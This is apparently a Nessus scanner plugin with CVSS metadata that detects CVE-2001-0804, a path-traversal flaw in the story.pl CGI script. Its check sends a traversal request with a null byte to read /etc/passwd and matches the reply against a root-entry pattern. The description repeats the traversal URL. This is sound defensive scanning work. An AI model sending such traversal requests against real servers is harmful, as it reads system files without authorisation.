CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
84.5%
By requesting :
GET /cgi-bin/story.pl?next=…/…/…/file_to_read%00
An attacker may use this flaw to read arbitrary files on this server.
#%NASL_MIN_LEVEL 70300
#
# This script was written by Georges Dagousset <[email protected]>
#
# See the Nessus Scripts License for details
#
# Changes by Tenable:
# - Revised plugin title (1/13/2009)
# - Updated to use compat.inc, added CVSS score (11/20/2009)
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10817);
script_version("1.31");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2001-0804");
script_bugtraq_id(3028);
script_name(english:"Interactive Story story.pl next Parameter Traversal Arbitrary File Access");
script_set_attribute(attribute:"synopsis", value:
"It is possible to read arbitrary files on
the remote server.");
script_set_attribute(attribute:"description", value:
"By requesting :
GET /cgi-bin/story.pl?next=../../../file_to_read%00
An attacker may use this flaw to read arbitrary files on
this server.");
script_set_attribute(attribute:"solution", value:
"Upgrade story.pl to the latest version (1.4 or later).");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2001/07/15");
script_set_attribute(attribute:"plugin_publication_date", value:"2001/12/03");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2001-2022 Alert4Web.com");
script_dependencies("find_service1.nasl", "http_version.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
include('global_settings.inc');
port = get_http_port(default:80, embedded:TRUE);
if(!get_port_state(port))exit(0);
function check(url)
{
local_var buf, req;
req = string(url, "?next=../../../../../etc/passwd%00");
req = http_get(item:req, port:port);
buf = http_keepalive_send_recv(port:port, data:req);
if(buf == NULL)exit(0);
if(egrep(pattern:"^HTTP/.* 404 .*", string:buf))return(0);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf))
{
security_hole(port);
exit(0);
}
if ( thorough_tests )
{
req = string(url, "?next=about");
req = http_get(item:req, port:port);
buf = http_keepalive_send_recv(port:port, data:req);
if( buf == NULL ) exit(0);
if (egrep(pattern:"This is version 1\.[0-3] of the story program", string:buf))
{
security_hole(port:port);
exit(0);
}
}
}
foreach dir ( cgi_dirs() )
{
check(url:string(dir, "/story.pl"));
#check(url:string(dir, "/story/story.pl"));
}